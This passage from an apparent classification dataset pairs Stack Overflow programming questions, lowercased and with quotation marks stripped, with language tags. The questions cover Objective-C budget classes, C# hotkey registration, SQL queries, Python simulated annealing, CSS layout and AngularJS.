budget = budget - exchangetransaction;         nslog(@ charging %0.2f in foreign currency leaves $%0.2f  foreigncurrency budget); }  @end </code></pre>  <hr>  <h2>budobj.h</h2>  <pre><code>#import &lt;foundation/foundation.h&gt;  @interface  budget : nsobject {          float  exchangerate;         double budget;         double exchangetransaction;  }  - (void) createbudget: (double) abudget withexchangerate: (float) anexchangerate; - (void) spenddollars: (double) dollars; - (void) changeforeigncurrency: (double) foreigncurrency;  @end </code></pre>  <hr>  <h2>transaction.h</h2>  <pre><code>#import &lt;cocoa/cocoa.h&gt;  typedef enum{cash credit} transactiontype;  @interface transaction : nsobject {          transactiontype type;         double amount;  }  -(void)createtransaction:(double)theamount oftype:(transactiontype)thetype; -(double)returnamount; -(transactiontype)returntype;  @end </code></pre>  <hr>  <h2>transaction.m</h2>  <pre><code>#import  transaction.h   @implementation transaction  -(void)createtransaction:(double)theamount oftype:(transactiontype)thetype{          type=thetype;         amount=theamount;  }  -(double)returnamount{          return amount;  }  -(transactiontype)returntype{          return type;  }  @end </code></pre>  <hr>  <h2>output:</h2>  <pre><code>2011-04-10 17:31:28.717 budobj.m[3751:a0f] charging 300.00 in foreign currency leaves $625.00 2011-04-10 17:31:28.719 budobj.m[3751:a0f] charging 300.00 in foreign currency leaves $250.00 2011-04-10 17:31:28.720 budobj.m[3751:a0f] charging 300.00 in foreign currency leaves $-125.00 2011-04-10 17:31:28.720 budobj.m[3751:a0f] charging 300.00 in foreign currency leaves $-500.00 </code></pre>  <h2>but the expected output is</h2>  <pre><code>converting 100.00 us dollars into foreign currency leaves $900.00 charging 100.00 in foreign currency leaves $775.00 charging 200.00 in foreign currency leaves $525.00 charging 300.00 in foreign currency leaves $150.00 converting 100.00 us dollars into foreign currency leaves $1900.00 charging 100.00 in foreign currency leaves $1750.00 </code></pre>  <hr>,objective-c
registerhotkey do not return to system key hooked c#  i register hotkey by registerhotkey function.     i have a problerm below:  i use a language tool to type my language (unicode). but after i use registerhotkey to hook ctrl + alt + q  my language tool can not working on richtextbox or textbox in  my app.     i think the registerhotkey function hook all key on and do not return to my language tool.  how can i do to fix that problerm.     my code:    <pre><code>public sealed class keyboardhook : idisposable {     // registers a hot key with windows.     [dllimport( user32.dll )]     public static extern bool registerhotkey(intptr hwnd  int id  uint fsmodifiers  uint vk);     // unregisters the hot key with windows.     [dllimport( user32.dll )]     public static extern bool unregisterhotkey(intptr hwnd  int id);     /// &lt;summary&gt;     /// represents the window that is used internally to get the messages.     /// &lt;/summary&gt;     private class window : nativewindow  idisposable     {         private static int wm_hotkey = 0x0312;          public window()         {             // create the handle for the window.             this.createhandle(new createparams());         }          /// &lt;summary&gt;         /// overridden to get the notifications.         /// &lt;/summary&gt;         /// &lt;param name= m &gt;&lt;/param&gt;         protected override void wndproc(ref message m)         {             base.wndproc(ref m);              // check if we got a hot key pressed.             if (m.msg == wm_hotkey)             {                 // get the keys.                 keys key = (keys)(((int)m.lparam &gt;&gt; 16) &amp; 0xffff);                 modifiersskeys modifier = (modifiersskeys)((int)m.lparam &amp; 0xffff);                  // invoke the event to notify the parent.                 if (keypressed != null)                     keypressed(this  new keypressedeventargs(modifier  key));             }         }          public event eventhandler&lt;keypressedeventargs&gt; keypressed;          #region idisposable members          public void dispose()         {             this.destroyhandle();         }          #endregion     }      private window _window = new window();     private int _currentid;      public keyboardhook()     {         // register the event of the inner native window.         _window.keypressed += delegate(object sender  keypressedeventargs args)         {             if (keypressed != null)                 keypressed(this  args);         };     }      /// &lt;summary&gt;     /// registers a hot key in the system.     /// &lt;/summary&gt;     /// &lt;param name= modifier &gt;the modifiers that are associated with the hot key.&lt;/param&gt;     /// &lt;param name= key &gt;the key itself that is associated with the hot key.&lt;/param&gt;     public void registerhotkey(modifiersskeys modifier  keys key)     {         // increment the counter.         _currentid = _currentid + 1;          // register the hot key.         if (!registerhotkey(_window.handle  _currentid  (uint)modifier  (uint)key))             throw new invalidoperationexception( couldn’t register the hot key. );     }      /// &lt;summary&gt;     /// a hot key has been pressed.     /// &lt;/summary&gt;     public event eventhandler&lt;keypressedeventargs&gt; keypressed;      #region idisposable members      public void dispose()     {         // unregister all the registered hot keys.         for (int i = _currentid; i &gt; 0; i--)         {             unregisterhotkey(_window.handle  i);         }          // dispose the inner native window.         _window.dispose();     }      #endregion }  [flags] public enum modifiersskeys : uint {     none = 0      alt = 1      control = 2      shift = 4      win = 8 }  /// &lt;summary&gt; /// event args for the event that is fired after the hot key has been pressed. /// &lt;/summary&gt; public class keypressedeventargs : eventargs {     private modifiersskeys _modifier;     private keys _key;      internal keypressedeventargs(modifiersskeys modifier  keys key)     {         _modifier = modifier;         _key = key;     }      public modifiersskeys modifier     {         get { return _modifier; }     }      public keys key     {         get { return _key; }     } } </code></pre>,c#
dismissmodalviewcontroller in message passing between view controllers  i was just wondering if this is a correct way of passing data or messages between different views in iphone/ipad.    i have two viewcontrollers  firstviewcontroller and secondviewcontroller. i have an nsstring *message as a property in both my viewcontrollers which i set in the following way.    in firstviewcontroller.h  i import the class secondviewcontroller.h. i have this ibaction that gets called when user taps a button on the first view   <pre><code>-(ibaction)showsecondview {      seondviewcontroller *secondview = [[secondviewcontroller alloc] initwithnibname:@ secondviewcontroller  bundle:[nsbundle mainbundle]];      secondview.modaltransitionstyle = uimodaltransitionstylefliphorizontal;     secondview.message = @ presented from first view ;      [self presentmodalviewcontroller:secondview animated:yes];      [secondview release];  } </code></pre>   in my secondviewcontroller.h  i import the class firstviewcontroller.h i have this ibaction that gets called when user taps a button on second view   <pre><code>-(ibaction)goback {       firstviewcontroller *firstview = [[firstviewcontroller alloc] initwithnibname:@ firstviewcontroller  bundle:[nsbundle mainbundle]];      firstview.modaltransitionstyle = uimodaltransitionstylefliphorizontal;     firstview.message = @ presented from second view ;      [self presentmodalviewcontroller:firstview animated:yes];      [firstview release];  } </code></pre>   the messages are successfully passed between the views but if i use  <code>[self dismissmodalviewcontroller]</code> in order to dismiss the current view controller to go back to the parent view  in  the message is not passed.,iphone
unrecognisable escape sequence error  i just attached my database from some other computer to my computer.everything worked fine except of this data source.it is giving an error  unrecognizable escape sequence .    i think the error is because of the back slash but i don t know how can i resolve it because my computer s server name is this only.please help.   <pre><code>sqlconnection con = new sqlconnection( data source=apoorva\sqlexpress;initial catalog=mall inventory;integrated security=true ); </code></pre>,c#
analyze exam result limitation (java)  i m beginner and i m doing the exercise from deitel how to program i make the program that analyze the exam result and output that the bonus give to the instructor or not. my program works fine but i want that if user inputs the value other than 1 or 2 then it should give an error and terminates the program.   <pre><code>following is the code:      package test;     import java.util.scanner;     public class apple {         public static void main(string[] args) {        scanner input = new scanner (system.in);       int failure = 0;       int passes = 0;       int counter = 1;       while (counter &lt;= 10){           system.out.print( enter result (for pass enter 1 or for fail enter 2):  );           int result = input.nextint();           if (result == 1)               passes = passes + 1;           else                failure = failure + 1;           counter = counter + 1;        }       system.out.printf( total pass students are %d and failed are %d   passes   failure );`enter code here`       if (passes &gt; 8)           system.out.println( \nbonus to instructor );         }             } </code></pre>,java
having issue to order result mysql  php  my code has no problem. the thing i want to achieve is that i want to order the result. first  i want it <code>order by lev desc</code> from highest number to lowest  look at code  <code>5 4 3</code>. however  since i have duplicate <code>dis</code>  so it only read the first low <code>lev</code>  if the first row is <code>5</code>  second low is <code>4</code>  but it always order by the first row number.  how to achieve what i want  appreciate.   <pre><code>dis sym cat val lev 1   44  on  2   5 1   45  set 3   3 2   44  set 2   5 2   45  set 3   5 3   44  on  2   5 3   44  set 5   4  select distinct dis from my_table where dis in(%s %s %s) and  dis not in ( select dis from my_table  where (( cat =  on  and val !=%d ) or ( cat =  set  and val !=%d ))  and sym=%d and lev &gt; 3)  and sym=%d order by lev desc </code></pre>,mysql
difference between a select with and without join  the result set of the following 2 sql scripts look the same. but there should be some difference. so what s it    <pre><code>select persons.lastname  persons.firstname  orders.orderno from persons  orders where persons.id_p = orders.id_p    select persons.lastname  persons.firstname  orders.orderno from persons inner join orders on persons.id_p = orders.id_p </code></pre>   any difference in <strong>performance</strong>    <h2>update</h2>   i just compared the actual query plan on sql server 2008 r2. they are identical. so no performance difference. inner join is used in both scenarios.,sql
how to get errors from android device   when an .apk is deployed and downloaded to google play  if it crashes the user can upload an error report of the stack trace. if we have an internal qa team and .apk has been deployed from dev s pc to device directly  is there away to collect that error stack trace without being tethered to a pc or having the app deployed to the public,android
how to use string name with other way  i want with simple way to use a name (string) with not using this code <code>useuserinput.getstring()).equalsignorecase( name ))</code>.what i mean is  this exercise for example says if it is stereo-if it is aerio  etc. i don t want for each one to make user write it. i want to do something to do not to write. with other words it is difficult to understand me maybe  the dog  the cat  the monkey i want to refer to a class like the dog the cat the monkey with not using the expression up. how would you write the down code  differently    <pre><code>static int n; //from keyboard  static string typos; // i use userinput string     public static void main(string[] args) {    //abstract class metafores subclasses stereo-ygro-aerio-meikto    metafores[] pin = new metafores[n];     for (int i = 0; i &lt; 10; i++) {         pin[i] = new stereo();         pin[i+10] = new ygro();         pin[i+20] = new aerio();         pin[i+30]=new meikto();     }       // exceptions     system.out.println( an einai ygro aeria meiktou barous tha exoume eksairesh-grapste analoga ); // it is just a message                if ((typos = userinput.getstring()).equalsignorecase( ygro ))  { // here there is the problem i dont want to make the user to write it         throw new illegalexceptionmetaforas( ta ygra dn metaferontai me aeroplano  ); // show the exception      } system.out.println( an einai aeria tha exoume eksairesh );      if ((typos = userinput.getstring()).equalsignorecase( aeria ))  {         throw new illegalexceptionmetaforas( ta aeria dn metaferontai me to aeroplano );     }      system.out.println( an einai meiktou barous );      if ((typos = userinput.getstring()).equalsignorecase( meiktou barous ))  {         throw new illegalexceptionmetaforas( meiktou barous dn metaferontai me to aeroplano );     } }     } </code></pre>,java
how do i avoid using arrays   my professor wants us to write a program without using arrays or vectors like this:   <blockquote>    write a program using functions that calculates and prints parking charges for each of the n customers who parked their cars in the garage.        parking rates:       <ul>   <li>a parking garage charges a $5.00 minimum fee to park for up to five hours.</li>   <li>the garage charges an additional $0.50 per hour for each hour or part thereof in the excess of five hours </li>   <li>the maximum charge for any given 24hr period is $10.00. assume that no car parks longer that 24 hours at a time.</li>   </ul>       you should enter the hours parked for each customer. your program should print the results in a neat tabular format and should calculate and print the total of your receipts.        the program output should look like this:   <pre><code>car------hours------charge  1--------2.00--------$5.00   2--------5.00--------$5.00  3--------5.30--------$5.50  etc.  total: 3---12.30----$15.50 </code></pre> </blockquote>   i only managed to get this far:   <pre><code>include &lt;iostream&gt; include &lt;conio.h&gt; include &lt;cmath&gt; include &lt;iomanip&gt; using namespace std; double calculate(double); int main() {     double hours charge;     int finish;     double sumhours;     sumhours=0;     finish=0;     charge=0;     int cars;     cars=0;      do     {         cout&lt;&lt; enter the number of hours the vehicle has been parked:  &lt;&lt;endl;         cin&gt;&gt;hours;         cars++;         sumhours+=hours;         finish=cin.get();         if(hours&gt;24)         {             cout&lt;&lt; enter a time below 24hrs. &lt;&lt;endl;             cars--;              sumhours=sumhours-hours;         }     }         while(finish!=eof);          double total=calculate(hours);         cout&lt;&lt;total&lt;&lt; :  &lt;&lt;(cars-1)&lt;&lt; :  &lt;&lt;sumhours;       while(!_kbhit());     return 0; }  double calculate(double time) {     double calculate=0;     double fees;      if(time&lt;=5)         return 5;      if(time&gt;15)         return 10;       time=ceil(time);      fees=5+(.5*(time-5));      return calculate;  } </code></pre>,c++
sorting array of structure with members as arrays  problem:- write a c program to accept names and marks of 10 students in 4 subjects and print the rank list in ascending order of average of marks in 4 subjects.print individual marks for each student.if the pass mark of each subject is 35 print the name of the students that failed in all 4 subjects.    the algorithm adopted is:-   <pre><code>1.start 2.get student name and marks in 4 subjects 3.calculate average for each student 4.sort average in acsending order 5.swap student names in the same order as average 6.swap student marks in the same order as average 7.display rank list 8.display individual marks for each student 9.stop </code></pre>   my question:- i have written the following program only to stumble at the step 6 of the algorithm. is there any approach to accomplish step 6    <pre><code>#include&lt;stdio.h&gt; #include&lt;conio.h&gt; #include&lt;string.h&gt; #define sub 3 #define sno 3 struct student {   char sname[20];   int avg marks[4]; }; void main() {   int i j max bit=0;   char swapname[20];   struct student s[sno];   clrscr();   for(i=0;i&lt;sno;i++)   {    printf( enter the name of student %d:  i+1);    scanf( %s  s[i].sname);    printf( enter marks in four subjects\t );    for(j=0;j&lt;sub;j++)    {     scanf( %d  &amp;s[i].marks[j]);    }    //initialize structure member    s[i].avg=0;    //compute average    for(j=0;j&lt;sub;j++)    {     s[i].avg+=s[i].marks[j];    }    s[i].avg/=sub;   }//for loop ends   printf( \n\n );   //displaying failed students   printf( list of the failed students:\n );   for(i=0;i&lt;sno;i++)   {    if(s[i].marks[0]&lt;35&amp;&amp;s[i].marks[1]&lt;35&amp;&amp;s[i].marks[2]&lt;35&amp;&amp;s[i].marks[3]&lt;35)    {     printf( %s\n\n  s[i].sname);     if(bit==0)      bit=1;    }   }   if(bit==0)    printf( no one fails!\n\n );   //sorting   for(i=0;i&lt;sno;i++)   {    for(j=i+1;j&lt;sno;j++)    {     if(s[i].avg&gt;s[j].avg)     {      max=s[i].avg;      s[i].avg=s[j].avg;      s[j].avg=max;      strcpy(swapname s[i].sname);      strcpy(s[i].sname s[j].sname);      strcpy(s[j].sname swapname);      }    }   }   //display result   printf( student name in the ascending order of average obtained:\n );   for(i=0;i&lt;sno;i++)   {     printf( %s:\t  s[i].sname);     printf( %d\n  s[i].avg);   }    getch(); } </code></pre>,c
sql search for substring date  i m trying to filter my sql results for a date on a specific year.    the dates are stored in a single column date in the format month/day/year    i need to only grab the result for certain years.   <pre><code>string sql = select date from tablename where **last two date digits** =   order by date desc;  ps.setstring(1  yeardesired); </code></pre>   is this possible  i have been looking around and haven t found an issue directly related to this.    thank you for any help.,sql
jquery get textbox value if not null  i have a checkbox for creating a user   <pre><code>&lt;input type= checkbox  id= chkcreatenewuser  name= chkcreatenewuser /&gt;&lt;label for= chkcreatenewuser &gt;create new user&lt;/label&gt; </code></pre>   then i have this jquery    <pre><code>$( input ).click(function(){     if($( #chkcreatenewuser ).attr( checked )){   $( #firstname ).val(  ); } </code></pre>   when i type in the textbox and click the next textbox  the value i typed disappears. how do i make it when if the value of the textbox is not empty  the value typed stays     i tried assigning it to avariable and displaying that variable but it just shows  [object  object] . i know theres a simple solution thanks,jquery
error in sscanf while scanning char[] and int  i have a sample program:   <pre><code>#include &lt;iostream&gt; using namespace std;  int main() {     // your code goes here     string line;     cin &gt;&gt; line;     char s1[12];     char s2[12];     int a1  a2;     sscanf((char*)line.c_str()   %s %s %d %d   s1  s2   &amp;a1   &amp;a2);     cout &lt;&lt; s1 &lt;&lt; endl;     cout &lt;&lt; s2 &lt;&lt; endl;     cout &lt;&lt; a1 &lt;&lt; endl;     cout &lt;&lt; a2 &lt;&lt; endl;     return 0; } </code></pre>   input from command line:<br> hello world 23 456    the output of the program is not coming as expected:    <strong>output:</strong><br> hello <br> ���� + <br> -74572855 <br> 11042    can anyone please tell me where is the problem,c++
how to search for number digits and print the total in a text file for java   i have a code that i need to find the most frequent digit number and print out the total number of the digits from the decimal numbers in my file. my code is:   <pre><code>65-43+21= 43 65.0-43.0+21.0= 43.0 65 -43 +21 = 43  65.0 -43.0 +21.0 = 43.0  65 - 43 + 21 = 43  65.00 - 43.0 + 21.000 = +0043.0000  65 - 43 + 21 = 43 </code></pre>   the output should say:   <pre><code>digit:  18 0 </code></pre>   how would i go by doing this  should i use a character.isdigit() function  or make an array for it  can somebody help me out with this  thanks.,java
how to store bulk images using asp.net and c#  what is the most efficient way to store and retrieve images     to store:   <ol> <li>store in database as a column </li> <li>store in application file system</li> <li>write the binarydata of the image to xml and read it from there</li> </ol>   to retrieve:   <ol> <li>generic handler</li> </ol>   i am planning to do it for a social networking site  please advise me.,.net
how to restrict div resize   i have menu bar and code is as follows   <pre><code>&lt;div style= background:#000; height: 25px; &gt;     &lt;div  style= margin-left: 25%; margin-right: 20%; font:13px/27px arial sans-serif; &gt;         &lt;a href= 1.html   style= text-decoration:none; color:#333; &gt;&lt;div class= activemenu  name= menunew &gt;1&lt;/div&gt;&lt;/a&gt;             &lt;div class= activemenu  name= menunew &gt;&lt;/div&gt;             &lt;a href= #  &gt;&lt;div class= activemenu  name= menunew &gt;2&lt;/div&gt;&lt;/a&gt;             &lt;a href= #  &gt;&lt;div class= activemenu  name= menunew &gt;3&lt;/div&gt;&lt;/a&gt;             &lt;a href= # &gt;&lt;div class= activemenu  name= menunew &gt;4&lt;/div&gt;&lt;/a&gt;             &lt;a href= # &gt;5&lt;/div&gt;&lt;/a&gt;             &lt;a href= register.html   style= text-decoration: none;  &gt;&lt;div class= activemenu  name= menunew &gt;6&lt;/div&gt;&lt;/a&gt;         &lt;/div&gt;     &lt;/div&gt; </code></pre>   when i resize the browser window   the all the  menus inside this div  they keep piling on each other   it looks pretty bad    i want to restrict this menu resize when we resize the screen,html
conveying a formula in c (% is)  so i have to make this formula  y = y / (3/17) - z + x / (a % 2) + pi  in c i am having a problem with (a%2) as it is returning odd values. ie 1%2 = 0.000001   <pre><code>int assignment7() { #define pi 3.14     int a=0 amod2;     double ny=0 y=0 z=0 x=0;     printf( enter values for x y z and a:  );     scanf( %d%lf%lf%lf  &amp;a &amp;y &amp;z &amp;x);     //printf( %d %lf %lf %lf\n  a y z x);     //amod2=1%2;     //printf( %lf  amod2);     ny=y/(double)(3/17) - z+x / amod2 + pi;     printf( %lf\n  ny); </code></pre>,c
insert a control before another control inside a itemdatabound event  i tried to <a href= https://stackoverflow.com/questions/2281541/inserting-a-control-before-another-control >solution suggested here</a>  but it didn t work in my case. using <code>page.controls.indexof()</code> for any of the elements on my page  when called in the <code>itemdatabound</code> event method  returns -1.    i need to insert a linebreak based on certain conditions for stuff generated by my data repeater. here is the method:   <pre><code>private string lastcharacter =   ; public void users_itemdatabound(object sender  repeateritemeventargs e) {     hyperlink link = (hyperlink)e.item.findcontrol( micrositelink );      tuple&lt;string  string&gt; user = (tuple&lt;string  string&gt;)e.item.dataitem;     link.navigateurl =  /  + user.item1;     link.text = user.item2;      // makes a break in the data when going from one bunch of data to another.     if (user.item1.length &gt;= 2)     {         if (lastcharacter ==   )             lastcharacter = user.item1[1].tostring().tolower();         else if (lastcharacter != user.item1[1].tostring().tolower())         {             htmlgenericcontrol linebreak = new htmlgenericcontrol( br );             if (page.controls.indexof(link) &gt;= 0)                 page.controls.addat(page.controls.indexof(link)  linebreak);              lastcharacter = user.item1[1].tostring().tolower();         }     } } </code></pre>   the bound data is a list of users in my system with names beginning with a particular letter. my goal is to further sub-divide this data with a line break between groups of data that have the same second letter. for instance:   <pre><code>aaperson    aarad    aastuff aathing  abitem    abstuff  acan    achandle      </code></pre>   to me  inserting a line break before the elements where the second letter changes is the obvious solution  but other suggestions are also appreciated.,asp.net
hotel reservation system sql query   i want to build a hotel reservation system. for this system; database is also used fro an other program... but i have problem: before the reservation i want to see which number of rooms type are available for my for my reservation..    my table create sql querys   <pre><code>create table oteldb.oda ( oda_id int (11) not null auto_increment  oda_tip_id int (11) default null  oda_adi varchar (20) default null  primary key (oda_id) ) engine = myisam auto_increment = 1 character set utf8 collate utf8_general_ci; </code></pre>  <hr>  <pre><code>create table oteldb.tip ( tip_id int (11) not null auto_increment  tip_adi varchar (20) default null  primary key (tip_id) ) engine = myisam auto_increment = 1 character set utf8 collate utf8_general_ci row_format = fixed; </code></pre>  <hr>  <pre><code>create table oteldb.rezervasyon ( rezervasyon_id int (11) not null auto_increment  rezervasyon_gt date default null  rezervasyon_ct date default null  rezervasyon_oda_id int (11) default null  primary key (rezervasyon_id) ) engine = myisam auto_increment = 1 character set utf8 collate utf8_general_ci; </code></pre>  <hr>   i try this but not work   <pre><code>select * from oteldb.tip where in tip.tip_id (select oteldb.oda.oda_tip_id from oteldb.oda where in oda.oda_id note  (select oteldb.rezervasyon.rezervasyon_oda_id from oteldb.rezervasyon where  2012-01-03  between and rezervasyon_ct rezervasyon_gt and  2012-01-22  and between rezervasyon_gt rezervasyon_ct)) </code></pre>  <hr>   thanks now...,sql
sql searching by max()  <code>select max(delivery_timestamp) from documents;</code> will return the time that the latest document was delivered. how do i return <strong>the other columns</strong> for the latest document  for example i want <code>doc_name</code> for the document that was most recently delivered     i m not sure how to form the <code>where</code> clause.,sql
basics of simulated annealing in python  i have to use simulated annealing for a certain optimization problem. to get a  feel  of the technique  i wrote a small python code and tried to run it. however  it doesn t seem to be giving satisfactory results.   <pre><code>import random; import math; from math import *; limit=100000;    def update_temperature(t k):     t1=t/log(k+1); #   print  temp now is   + str(t1);     return t1;  def get_neighbors(i l):     if(l&gt;1):         if(0&lt;=i and i&lt;l):             if(i==0):                 return [1];             if(i==l-1):                 return [l-2];             return [i-1 i+1];     return [];  def make_move(x a t):     nhbs=get_neighbors(x len(a));      nhb=nhbs[random.choice(range(0 len(nhbs)))];       delta=a[nhb]-a[x];      if(delta &lt; 0):         return nhb;     else:         r=random.random();         if(r &lt;= (e**(-1*delta)/(t*1.0))):             return nhb;      return x;   def simulated_annealing(a):     l=len(a);     init_pos=random.choice(xrange(0 l));     t=10000**30;     k=1;      x_best=init_pos;     x=x_best;      while(t&gt;0.0000001 ):         x=make_move(x a t);         if(a[x] &lt; a[x_best]):             x_best=x;         t=update_temperature(t k);         k+=1;      return [x x_best init_pos];    def isminima_local(p a):     l=len(a);     if(l==1 and p==0):         return true;     if(l&gt;1):         if(p==0):             if(a[0] &lt;=a[1]):                 return true;         if(p==l-1):             if(a[p-1] &gt;=a[p]):                 return true;         if(0&lt;=p and p&lt;l and a[p-1]&gt;=a[p] and a[p]&lt;=a[p+1]):             return true;     return false;   def func(x):     f=sin(x);     return f;  def initialize(l):     a=[0]*l;     for i in xrange(0 l):         a[i]=func(i);     return a;  def main():     a=initialize(limit);       local_minima=[];     for i in xrange(0 limit):         if( isminima_local(i a)):             local_minima.append([i a[i]]);       sols=simulated_annealing(a);      m p=a[0] 0;     for i in xrange(1 limit):         if(m&gt;a[i]):             m=a[i];             p=i;      print  global minima at \n ;     print p m;       print  after annealing\n ;      print  solution is   + str(sols[0]) +     + str(a[sols[0]]);     print  best solution is   + str(sols[1]) +     + str(a[sols[1]]);     print  start solution is   + str(sols[2]) +     + str(a[sols[2]]);      for i in xrange(0 len(local_minima)):         if([sols[0] a[sols[0]]]==local_minima[i]):             print  solution in local minima ;         if([sols[1] a[sols[1]]]==local_minima[i]):             print  best solution in local minima ;     for i in local_minima:         print i;  main(); </code></pre>   i am unable to understand where i am going wrong. is there something wrong with the implementation or is there something wrong in my understanding about simulated annealing   please point out the error..    my rough idea about sa:  pick a random neighbor  if neighbor improves your condition  move there   else  move there with certain probability.   the probability is such that initially bad moves are  allowed  but they are  prohibited    later on. finally you will converge to your solution.    i have found the set of local minima and global minima using brute force. then i run sa. i was expecting that sa will atleast converge to a local minima but that doesn t seem to be the case always. also  i am not sure if at every step i choose a neighbor randomly and then try to move or i choose the <strong>best</strong> neighbor ( even if none of the neighbors improve my condition) and then try to move there.,python
what is  ==+!  in javascript   does anyone can show me what is  ==+!  meaning in below code:   <pre><code>if(my_var.length==+!0) //do something </code></pre>   i try google but don t get the result.,javascript
how to vertically align html elements with css  please refer to <a href= http://image.prntscr.com/image/6721bfd28f4d44a389bb45a8b0d73703.png  rel= nofollow noreferrer >this image as a visual aid</a> for my question.    i want the text input with  sindre   the other input  and the buttons  to be placed higher  so they vertically align with the icehotel logo.  how can i do this     here s my code...   <h3>html</h3>  <pre><code>&lt;div id= header-content &gt;     &lt;br&gt;     &lt;a href= /index &gt;         &lt;img draggable= false  src= {url}/app/tpl/skins/{skin}/images/logo.gif  style= position:relative; margin-left: 20px; &amp;lt;div align=; color: #fa0000;margin-top: 15px;margin-left: 180px &gt;     &lt;/a&gt;     &lt;input id= username  name= log_username  placeholder= username  style= position:relative; margin-left: 20px;padding:5px;box-shadow:3px 3px 5px black;border: 0;width:250px;background: #3b8ba4;border-radius: 6px;color: #baedf5;  type= text &gt;     &lt;input id= password  name= log_password  placeholder= password  style= position:relative;margin-left: 1px;padding:5px;box-shadow:3px 3px 5px black;border: 0;width:250px;background: #3b8ba4;border-radius: 6px;color: #baedf5;  type= password &gt;     &lt;a href= {url}/api.php &gt;         &lt;button class= login green  name= login  style= height:34px;  type= submit &gt;let s go!&lt;/button&gt;     &lt;/a&gt;     &lt;a&gt;         &lt;button class= login red  style= height:34px; margin-left: 4px  type= sumbit &gt;forgot your password &lt;/button&gt;     &lt;/a&gt;  &lt;/div&gt; </code></pre>  <h3>css</h3>  <pre><code>pre  blockquote {     border: 1px solid #999;     page-break-inside: avoid } thead {     display: table-header-group } tr  img {     page-break-inside: avoid } img {     max-width: 100%!important } @page {     margin: .5cm } p  h2  h3 {     orphans: 3;     widows: 3 } h2  h3 {     page-break-after: avoid }  } html {     height: 100% } body {     height: 100%;     margin: 0;     padding: 0;     color: #e0eff5;     background-attachment: fixed;     background-color: #013448;     background-image: url( http://localhost/app/tpl/skins/aura/habboweb/planet.png );     background-image: url( http://localhost/app/tpl/skins/aura/habboweb/planet.png )  -webkit-radial-gradient(190px 190px  circle farthest-side  #0297c8 0  #013448 480px);     background-image: url( http://localhost/app/tpl/skins/aura/habboweb/planet.png )  -moz-radial-gradient(190px 190px  circle farthest-side  #0297c8 0  #2d3877 480px);       -ms-radial-gradient(190px 190px  circle farthest-side  #0297c8 0  #013448 480px);       radial-gradient(circle farthest-side at 190px 190px  #0297c8 0  #013448 480px);     min-height: 755px } i  cite  em  var  address  dfn {     font-style: italic; } body {     font-family:  ubuntu condensed   arial  serif;     font-weight: normal;     min-height: 0; } #footer a {     color: #a1b5c8;     text-decoration: none;     font-size: 13px; } body {     font-size: 1em;     line-height: 1.4; } .form__input  .form__select {     box-shadow: inset 0 2px 0 0 #9ebecc;     line-height: 1.2;     padding: 5px 12px;     width: 100%;     font-size: 16px; } .button b  .new-button i {     position: absolute;     display: block;     left: 2px;     top: 3px;     right: 2px;     height: 9px;     background-color: #4a9fb4;     z-index: 0 } .button:hover  .new-button:hover {     background-color: #418491 } .button:hover b  .new-button:hover i {     background-color: #46a9bf } .button span  .new-button b {     position: relative;     z-index: 100 } .button:active  .button-active  .new-button:active {     left: 1px;     top: 1px;     box-shadow: 2px 2px rgba(0  0  0  0.4) } .button.dimmed {     -ms-filter:  alpha(opacity=50) ;     filter: alpha(opacity=50);     -moz-opacity: .5;     opacity: .50 } .button.large {     height: 100px;     background-color: #c78800;     -webkit-border-radius: 5px;     -moz-border-radius: 5px;     border-radius: 5px;     border: 1px solid #5f4416 } .button.large:hover {     background-color: #d99b00 } .button.large:hover b {     background-color: #f7ce00 } .button.large b {     left: 4px;     top: 4px;     right: 4px;     height: 48px;     background-color: #f0bb00;     -webkit-border-radius: 2px 2px 0 0;     -moz-border-radius: 2px 2px 0 0;     border-radius: 2px 2px 0 0 } .button.large span {     display: block;     font-size: 27px;     font-weight: bold;     text-transform: uppercase;     text-shadow: 1px 1px 2px rgba(0  0  0  0.4);     line-height: 54px } .button.large span.sub {     display: block;     font-size: 17px;     font-weight: bold;     line-height: 42px;     text-transform: none } .button.large.not-so-large {     height: 48px } .button.large.not-so-large b {     height: 20px } .button.large.not-so-large span {     text-transform: none;     font-size: 22px;     line-height: 46px } header  footer {     width: 100%;     background: #101016;     background: rgba(16  16  22  0.85);     position: fixed;     z-index: 999 } #login-errors {     width: 100%;     height: 35px;     background-color: #c00;     color: #fff;     font-size: 17px;     font-weight: bold;     text-align: center;     line-height: 35px } #login-errors a {     color: #000 } #footer-content {     float: left;     margin-left: 50px } #footer-content.partner-logo-present {     margin-left: 20px } #footer {     width: 100%;     min-width: 780px;     margin-top: 19px } header {     top: 0;     min-height: 99px } header #border-left {     position: absolute;     width: 500px;     height: 1px;     left: 0;     bottom: 0;     border-bottom: 1px solid #7aa3b9 } header #border-right {     position: absolute;     width: 100%;     height: 1px;     left: 220px;     bottom: 0;     border-bottom: 1px solid #7aa3b9 } footer {     height: 69px;     bottom: 0;     border-top: 1px solid #7aa3b9 } #top-bar-triangle  #top-bar-triangle-border {     position: absolute;     left: 163px;     bottom: -29px } #top-bar-triangle {     font-size: 0;     height: 0;     line-height: 0;     border-style: solid;     float: left;     margin: 0;     border-color: #101016 transparent;     border-color: rgba(16  16  22  0.85) transparent;     border-width: 29px 29px 0 29px } #top-bar-triangle-border {     background-image: url( http://localhost/images/new_index/images/v3/top_bar_arrow_border.out.png );     width: 58px;     height: 29px } header #habbo-logo {     position: absolute;     width: 190px;     height: 52px;     background-image: url( http://localhost/app/tpl/skins/aura/images/logo.png );     left: 32px;     top: 27px } #login-form-container {     position: relative } header form {     position: relative;     left: 239px;     top: 0;     width: 740px;     height: 99px } #login-columns {     position: relative } header form.captcha {     height: 200px } header form.captcha #login-recaptcha {     height: 103px;     margin-top: 8px } #login-recaptcha .field-error  #login-recaptcha #captcha-overlay {     display: none } #login-column-1 {     position: absolute;     left: 0;     top: 11px;     width: 205px;     height: 70px } #login-column-2 {     position: absolute;     left: 214px;     top: 11px;     width: 134px;     height: 70px } #login-column-3 {     position: absolute;     left: 358px;     top: 32px;     width: 205px;     height: 55px } </code></pre>,css
what is difference between $stateprovider and $rootprovider in angular js   i am new to angularjs ui application development.    i develop one application in this i use $rootprovider but my client want to change that $stateprovider  into $stateprovider.    can you tell me the difference between tbetween $stateprovider and $rootprovider.    please help me to go forward.    thanks&amp;regards  srinivasarao.ch,angularjs
